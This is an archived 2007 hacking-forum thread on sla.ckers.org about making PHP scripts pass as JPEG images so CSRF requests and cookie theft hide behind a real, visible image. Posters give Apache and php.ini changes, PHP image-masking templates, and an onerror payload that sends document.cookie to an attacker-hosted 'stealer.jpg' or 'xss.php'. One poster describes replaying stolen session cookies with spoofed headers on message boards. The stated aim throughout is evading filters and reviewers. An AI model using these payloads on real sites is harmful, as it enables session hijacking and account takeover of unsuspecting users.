Cenzic 232 Patent
Paid Advertising
sla.ckers.org is
ha.ckers sla.cking
Sla.ckers.org
Q and A on cross site request forgeries and breaking into sessions. It's one of the attacks that XSS enables and the attack of the future. For Session, fixations, hijacking, lockout, replay, session riding etc.... 
Go to Topic: PreviousNext
Go to: Forum ListMessage ListNew TopicSearchLog In
PHP, default Mime type, CSRF, oh my!
Posted by: codec
Date: August 01, 2007 09:58PM

I'm not sure if you guys have discussed this or not, but one of the largest flaws in CSRF by way of IMG tags is that the image size must be forced to 0x0 to hide the broken image icon in the browser. The SRC parameter throws up a red flag as well by either referencing a script on another server (<img src="http://evilsite.com/csrf.php" width=0 height=0>) with an extension that isn't an image, or by including get variables (<img src="http://weaksite.com/buggy.php?getvariable=maliciouscode" width=0 height=0>).

One way to bypass this in a stealthy, sexy way is by slightly modifying your php configuration. (Note: you need either root or web administrative rights to change the configuration to make this work.)

Modify your mod_php.ini to include the following:

AddType application/x-httpd-php .jpg

Now .jpg files will be read and executed as php files, therefore hiding the obvious .php extension.

Now.. how do we make this sexy? First, we change the default mime type in php.ini to 'image/jpeg' and restart apache. Then use the code below in a file ending in .jpg (php, actually) and execute it using an image tag. <img src="http://site.com/fakeimage.jpg">

<?php

$imgSrc="PathToActualJpegImage.jpg";
$fp=fopen($imgSrc,"r");
$header="Accept-Ranges: bytes\r\n";
$header.="Content-Length: ".filesize($imgSrc)."\r\n";
$header.="Keep-Alive: timeout=15, max=2469\r\n";
header($header);
while(!feof($fp)) {
echo fgets($fp,1028);
}

/* insert CSRF code here -- I find using fsockopen and spoofed headers does the trick */

?>

The code above will open a specfied jpeg image and echo it back after a few spoofed header lines. The default mime type being set to image/jpeg will tell php to fool the browser into accepting the echo'd data as a stream of jpeg image data. After the code is streamed to the browser, you can execute any other code following it that you'd like. This works great when coupled with an XSS cookie logger.

The only caveat is that the code needs to be processed quickly, as the browser will show a broken image tag until the script is complete. It will pass any filters that scan the src for anything other than an image, and it will actually DRAW an image, unlike previous CSRF IMG tag exploits. It seems to work regardless of browser, as well.

Have fun.

Peas,
Codec



Edited 5 time(s). Last edit at 08/01/2007 10:19PM by codec.

Options: ReplyQuote
Re: PHP, default Mime type, CSRF, oh my!
Posted by: Anonymous User
Date: August 01, 2007 10:28PM

An easier way is to add a apache rule into your .htaccess since it doesn't need the boot.

secondly, minor issue but: browsers perform a content negotiation and don't accept the header by default.

I'm only missing your code about really exploiting this, can you elaborate on this a bit?

Options: ReplyQuote
Re: PHP, default Mime type, CSRF, oh my!
Posted by: codec
Date: August 01, 2007 10:40PM

By changing the default mime type in the php.ini, it passes the content type as a jpeg, therefore fooling the browser. This also stops the interpreter from sending the text/html type later on. one application for this would be to have an XSS logger create a \r delimited text file containing snagged cookies. implode a fread into an array and pick a random cookie. construct a spoofed header with GET/POST data and the cookie and use fputs to pass it to the server. A good application for this would be on a message board or the like that permits inserting image tags. It won't session-ride, persay, but it will execute the code whenever the image is drawn and avoid filters that would filter out anything other than an image from the src param. plus it actually draws the image, so it appears harmless to someone who might be reviewing the html for suspicious code.



Edited 2 time(s). Last edit at 08/01/2007 10:42PM by codec.

Options: ReplyQuote
Re: PHP, default Mime type, CSRF, oh my!
Date: August 02, 2007 06:21AM

simplicity...
<?php

$image_path = 'PathToActualJpegImage.jpg';
header('Accept-Ranges: bytes');
header('Content-Length: ' . filesize($image_path));
header('Keep-Alive: timeout=15, max=2469');
echo file_get_contents($image_path);

/* insert CSRF code here */

?>

Options: ReplyQuote
Re: PHP, default Mime type, CSRF, oh my!
Date: August 02, 2007 06:27AM

you should also be able to just use a 1x1 GIF image's file contents converted to hex and then echoed out. That way you don't need to calculate the file's size since you will know what it will be and also no need to even have a real image uploaded to server. =o)

Options: ReplyQuote
Re: PHP, default Mime type, CSRF, oh my!
Posted by: Anonymous User
Date: August 02, 2007 10:21AM

Yeah, but I cannot see the difference with embedding Javascript in images, it's basically the same, only done remotely. I would not call that CSRF actually, but that's up to you.

Options: ReplyQuote
Re: PHP, default Mime type, CSRF, oh my!
Posted by: DoctorDan
Date: August 06, 2007 11:46PM

This gets slightly more interesting when applied to cookie stealing. For example, consider implementing the stealer like so:
<img src="" onerror="this.src='stealer.jpg'+document.cookie" alt="A seemingly normal image..." />
The stealer script could end like this:
header("Content-type: image/jpeg");
readfile("VALID_PATH_TO_JPEG_IMG");
?>
It provides for relatively seamless cookie stealing.

-Dan

Options: ReplyQuote
Re: PHP, default Mime type, CSRF, oh my!
Date: August 07, 2007 12:35PM

why not just do this?

<img src="" onerror="this.src='xss.php'+document.cookie" style="display:none" />

Why not just hide the image all together?

Options: ReplyQuote
Re: PHP, default Mime type, CSRF, oh my!
Posted by: DoctorDan
Date: August 07, 2007 05:58PM

Mostly because it's way cooler to have a visible image do your dirty work :P

One use could be to avoid filters. Also, it can log IP/Referer/User Agent info silently and can be used anywhere without restriction.

-Dan

Options: ReplyQuote
Re: PHP, default Mime type, CSRF, oh my!
Posted by: hackathology
Date: August 21, 2007 06:00AM

This is Arabic to me, too profound

http://hackathology.blogspot.com

Options: ReplyQuote
Re: PHP, default Mime type, CSRF, oh my!
Posted by: DoctorDan
Date: August 21, 2007 11:47AM

You don't get it, hackathology, or are you being facetious?
It essentially just dumps all the data of an image file once it's done doing potentially nasty things. The header() tells the browser to display the data as an image.

Codec, I don't completely understand how it could be used in a CSRF while still render the image. The location header could help in the CSRF, but not display the image. fsockopen() makes the request on the behalf of the server, not the user. It's kinda like a proxy. I still like this hidden script idea.

Ronald, how is this like embedding JS in an image?

By the way, if you only want one image file in your directory to be treated as a PHP script use this in your htaccess instead:
<Files file_you_want.jpg>
  AddType application/x-httpd-php jpg
</Files>

-Dan

Options: ReplyQuote
Re: PHP, default Mime type, CSRF, oh my!
Posted by: FiSh
Date: August 21, 2007 01:47PM

Making a folder called "file.jpg", putting an index.php in it and sending a JPG header also works. That's what most of those dynamic signature scripts do.

Options: ReplyQuote
Re: PHP, default Mime type, CSRF, oh my!
Date: August 21, 2007 05:25PM

>> Codec, I don't completely understand how it could be used in a CSRF while still render the image. The location header could help in the CSRF, but not display the image.

Cant you use the Refresh header? Set it to refresh after says 2-4 secs so CSRF has time to run then Refresh to the actual image.

Options: ReplyQuote
Re: PHP, default Mime type, CSRF, oh my!
Posted by: n0
Date: September 28, 2007 01:55PM

You can src to a .php file and still get a valid image to be displayed.
no need to play with any of php or apache settings
just use something like that

<?php
$filename = "realImage.jpg";
header("Content-Type: image/jpeg");
header("Content-Disposition: inline , filename='dontcare.jpg' " );
header("Content-length: " . filesize($filename));
readfile($filename);
?>

Options: ReplyQuote


Sorry, only registered users may post in this forum.